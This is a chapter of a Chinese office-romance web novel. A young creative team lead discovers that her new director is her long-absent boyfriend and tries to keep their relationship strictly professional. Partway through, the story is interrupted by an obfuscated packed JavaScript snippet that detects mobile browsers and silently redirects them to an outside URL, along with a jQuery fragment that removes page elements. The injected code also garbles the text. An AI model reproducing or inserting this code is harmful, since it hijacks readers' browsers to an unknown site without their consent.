唐思意把购房合同塞进包里时，激动得手指轻颤。
26年的人生里，她第一次拥有了完全属于自己的四面墙。
好吧，严格来说，她只是获得了在未来三十年内持续向银行付款的荣幸。
茶水间的磨豆机嗡嗡作响，唐思意正往马克杯里倒热水时，黎宸突然从隔断后面探出半个身子。
“唐组长，中彩票了？”他歪头打量她压不住的唇角，“嘴角都快咧到耳根了。”
“比中彩票实在。”唐思意笑着说，“我刚用未来三十年的自由换了个水泥盒子，现在穷得只剩下快乐了。”
茶水间里顿时响起一片笑声。
这就是唐思意的魔力，她总能把心酸的事说得像段子。
三年前，她揣着重本大学的毕业证来创界星河应聘文案。
HR总监推了推眼镜问她：“唐小姐，你怎么看待广告行业的加班文化？”
加班是资本家对无产阶级的剥削！可是……
当下就业环境很差，大批应届生毕业即失业，眼前这份offer是应届生挤破头都想要的香饽饽。
她藏在桌下的手指狠狠掐了下大腿，“我认为——”
她露出恰到好处的微笑，声音清脆得像在念广告词，“加班是创意人特有的浪漫。当灵感来敲门时，谁会在意现在是几点呢？”
天知道她说这话时，满脑子都是研二实习时被甲方折磨到凌晨三点的惨痛经历。
但此刻她笑得如此真诚，连自己都快信了这番鬼话。
第二轮测试时，甲方把方案改了七稿，甲乙双方对彼此都有掀桌子的怒意。
其他应聘者交上来的修改说明，清一色都是“感谢宝贵意见”、“我们会继续优化”这样的客套话。
只有唐思意不同。
她把第八版方案郑重命名为《蒙娜丽莎的第八个微笑》。
在修改说明里写道：“感谢甲方如同文艺复兴大师般的执着追求，让每个细节都臻于完美。正如达芬奇用了四年才完成《蒙娜丽莎》的微笑，我们也终于在这第八版找到了最完美的弧度。”
创意总监苏雁清看到这段话时，笑喷了咖啡。
能把甲方的刁难写成段子，这姑娘是个人才。
但真正让苏雁清从几十份名校海归的简历中独独抽出这份的，是方案最后一页那个闪着光的创意——
【当冰冷的算法解不开人类最原始的心动方程式时，就让进化了亿万年的嗅觉本能来投票。】
如今她的工牌从“文案策划”变成“创意组长”，但那种把心酸酿成段子的能力，反而在PPT和提案里淬炼得愈发锋利。
-----------------
“各位，十分钟后大会议室，全员大会。”部门助理赵俊生探头通知，“新总监今天到任。”
唐思意叹了口气，她的顶头上司苏雁清被调走有三个月了，这期间，来了一个张韬，现在又来了个新的。
“希望不是那种‘把公司当自己家’的工作狂。”她压低声音说。
林伊曼咬着饼干含糊不清地说：“听说是个海归精英，才30岁就当上总监，据前台小张说，帅得让人想犯罪……”
唐思意听后，不知怎的，想起了秦晏。
那个和她确认了恋人关系就出差三个月未归的男朋友。
唐思意和林伊曼走进会议室，选了最角落的位置。
正当她和林伊曼猜测新总监会穿什么颜色的西装时，会议室门被推开。
人力资源总监带着一个男人走了进来。
唐思意抬头看了一眼，咖啡呛在喉咙里。
男人一身剪裁完美的深灰西装，身高至少185cm，轮廓分明的脸上戴着一副金丝眼镜。
镜片后那双眼睛像雪山湖泊般清澈而深邃。
“各位好，我是秦晏。”
唐思意握着钢笔的手发紧，三个月前，这个声音曾在她耳边说过“晚安，我的小太阳”。
“我靠！”林伊曼狠狠掐了她的大腿，声音压得几乎是从牙缝里挤出来的，“这不是你天天跟我念叨的那个相亲对象吗？”
唐思意机械地点头。
她突然意识到，自己正一步步踏入秦晏精心编织的围猎。
六个月前，即将调职的苏雁清“恰好”给她安排了相亲。
她故意搞砸了初次见面，却没想到秦晏会锲而不舍地约她。
从互相欣赏的竞争对手到暧昧对象，再到三个月前突然的出差告别，每一步都像是精心设计的棋局。
而现在，这个男人带着创意总监头衔空降而来，成了她的直属上司。
这剧情连最狗血的职场剧都不敢这么写！
-----------------
“思意？你脸白得像纸。”林伊曼小声问，“要不要去洗手间？”
唐思意摇头，强迫自己专注在会议上。
当她的“云棉纸巾”提案被点名时，她几乎是机械地完成了汇报。
“这个切入点很有趣。”秦晏突然开口，声音公事公办，眼神却满是柔情，“会后能给我详细数据吗？”
会议室所有人都看向她，唐思意只能微笑点头。
“完蛋，”回到座位，她小声对林伊曼说，“我居然对上司心动了三秒，这违反了我‘不搞办公室恋情’的第一原则。”
林伊曼就是办公室恋情的活教材。
她曾和她的上司爱得轰轰烈烈，结果分手时被对方用职权处处刁难，最后灰溜溜地离开了北京。
那段时间她整夜失眠，在凌晨三点给唐思意发微信：“千万别步我后尘，职场里动心就是慢性自杀。”
“你是对的。”林伊曼把手机锁屏倒扣在桌上，“可你舍得吗？”
问完她自己先笑了。
哪有什么舍得不舍得。
当她想到茶水间里那些关于“靠睡上位”的闲言碎语，想到季度考评时可能出现的偏颇，想到某天清晨发现自己被调往边缘项目组的邮件……
这些画面像一盆冰水浇下来，瞬间就把那点旖旎心思冻成了冰碴。
“不舍得也得舍得。”唐思意仰头灌下已经凉透的美式，苦涩的液体滑过喉咙，“两条腿的男人满大街都是，好的工作可不好找啊。我花了三年才从‘那个很会写段子的文案’变成‘唐组长’，难道要因为一场暧昧重头再来？”
更何况，她刚贷款买了房，那间80平的房子就是她的锚，拴着她的任性。
毕竟银行可不会接受“我因办公室恋情丢了工作”这种还款延期理由。
唐思意立刻冲进洗手间，翻出那个三个月没联系的号码。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129289|180210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上次对话还停留在秦晏说的【出差回来联系】。
她回复【好的，注意安全】。
她深吸一口气，飞快打字：
【秦总监，鉴于我们现在是上下级关系，我正式申请终止之前的恋人状态。
公司禁止办公室恋情，尤其是上下级之间。祝您工作愉快！】
发送后，她盯着屏幕看了足足一分钟。
秦晏：【……】
唐思意几乎能看到秦晏那张冰山脸上无语的表情，把他的私人微信号拉黑。
“唐组长，总监找你。”赵俊生的声音从门外传来。
唐思意对着镜子整理表情，昂首挺胸走向总监办公室。
敲门时她告诉自己：从今天起，秦晏只是上司，一个只需她用幽默感应对的上司，仅此而已。
秦晏站在落地窗前，阳光落在他身上。
他缓缓转身，金丝眼镜后的眼睛直视着她：“三年零四个月。”
“什么？”
“你在这家公司的时间。”秦晏走近几步，“我看过你的档案，也看过你做的每一个项目，你很优秀，唐思意。”
“谢谢夸奖。”她公事公办地回答，“您要的‘云棉’数据，我待会发您邮箱。”
秦晏突然笑了，那个笑容让唐思意心跳漏拍。
“所以，现在我们要假装不认识？”
“不，我们要假装之前的恋爱关系不存在。”唐思意纠正，“这是职场生存法则第一条：不要和上司谈恋爱，尤其是空降的。”
“如果我不同意呢？”
“那您可能会收获……”
辞职信？不可能，要走也是他走。
她眨了眨眼：“一个总是‘不小心’把咖啡泼在您西装上的下属。”
秦晏若有所思地点头：“好吧，唐组长。不过……”
他忽然凑近，压低声音：“你那天晚上喝醉说‘最喜欢我的喉结’的时候，可没这么公私分明。”
唐思意的脸瞬间涨红。
那次部门送别苏雁清的聚餐，她确实喝多了，但没想到这么久了，连这种黑历史都被记得一清二楚。
“抱歉，那时我喝醉了，是我人格分裂的另一个人格说的。”她强作镇定，“现在站在您面前的是专业的唐思意2.0。”
秦晏刚要说什么，办公室门被敲响。
唐思意如蒙大赦，迅速撤退：“我先去工作了，秦总监。”
走出办公室，她长舒一口气。
林伊曼立刻凑过来：“怎么样？他同意了吗？”
“他不同意，”唐思意生无可恋，“他还记得我喝醉调戏他的细节。”
林伊曼捂嘴偷笑：“所以，你的‘不上司恋爱法则’要破戒了？”
“绝不！”唐思意斩钉截铁，“从今天起，我要让他见识什么叫‘专业距离’。”
她抱着一叠文件和小组开会，回来时，发现桌上多了一杯冰美式，杯子上贴着一张便签：
【专业距离从共享咖啡开始。——秦晏】
林伊曼举起她那杯咖啡：“他请全部门的人喝咖啡了。”
唐思意把便签揉成一团扔进垃圾桶，却鬼使神差地喝了一口。
正是她最爱的口味，少冰不加糖。
“见鬼，”她嘟囔道，“他居然连这个都记得。”